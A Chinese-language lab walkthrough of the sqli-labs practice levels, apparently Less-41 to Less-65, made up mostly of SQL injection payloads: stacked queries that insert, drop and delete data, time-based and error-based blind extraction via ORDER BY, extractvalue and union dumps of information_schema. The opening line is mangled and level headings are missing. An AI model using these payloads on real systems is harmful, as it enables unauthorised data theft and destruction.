与之前讲的Less-40的区别:
s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = sql="SELECT * FROM users WHERE id= sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1"; | |
---|---|
当然,和Less-40一样,都是盲注,不会显示错误信息,不过对我们没差,构建payload:
?id=1;insert into users(id,username,password) values(15,'jack','jack')%23
分析源码可以知道:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:
a';create table jack like users#
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
与Less-42的区别在于:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
payload:
username:admin
password:a');drop table jack#
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload:
username:admin
password:a';insert into users(id,username,password) values('15','jack','jack')#
与Less-43关的区别在于并没有报错信息,也就是基于盲注,payload:
username:admin
password:a');delete from users where id=15#
这里涉及到order by注入的相关知识,sql语句为:
$sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。
我们可利用order by后的一些参数进行注入。首先,
(1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
?sort=right(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
例如:
?sort=1 and if(1=1, sleep(1), null):
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
与上一关的区别在于:
$sql = "SELECT * FROM users ORDER BY '$id'";
我们只能使用and来进行报错和延时注入。下面给出几个payload示例。
① and 相结合的方式
②可以利用报错的方式进行
③延时注入
?sort=1' and if(1=1, sleep(1), null) and '1'='1:
?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
这关与Less-46的区别在于没有报错信息,即盲注,payload:
?sort=(if(ascii(substr(database(),1,1))=116,0,sleep(5)))
这关与Less-47的区别在于没有报错信息,即盲注,payload:
?sort=1' and (if(ascii(substr((select username from users limit 0,1),1,1))=69,0,sleep(1)))--+
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,
?sort=1;create table jack like users#
?sort=1 and if(1=1, sleep(1), null):
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
直接联合注入,
这一关没什么特别 特别在于查询的次数是每十次重置 只要控制查询次数即可。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+
同Less-54 区别:?id=-1)
同Less-54 区别: ?id=-1’)
同Less-54 区别: ?id=-1")
发现是单引号闭合,但是输出是固定的(没和后台交互),有报错,只能用报错注入就不能使用联合查询注入了。
用之前的floor()和rand()完成,select 1 from (select concat_ws('^',database(),floor(rand(0)*2)x,count(*) from information_schema.tables group by x)y
或
爆表:
?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
爆列:
?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='mygzz18436'),0x7e))--+
爆数据:
?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(secret_1WUE) from mygzz18436),0x7e))--+
同Less-58 区别:?id=-1(无闭合)
同Less-58 区别:?id=-1")
同Less-58 区别:?id=-1’))
盲注
?id=1') and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+
同Less-62 区别:?id=-1’
同Less-62 区别:?id=-1))
同Less-62 区别:?id=-1")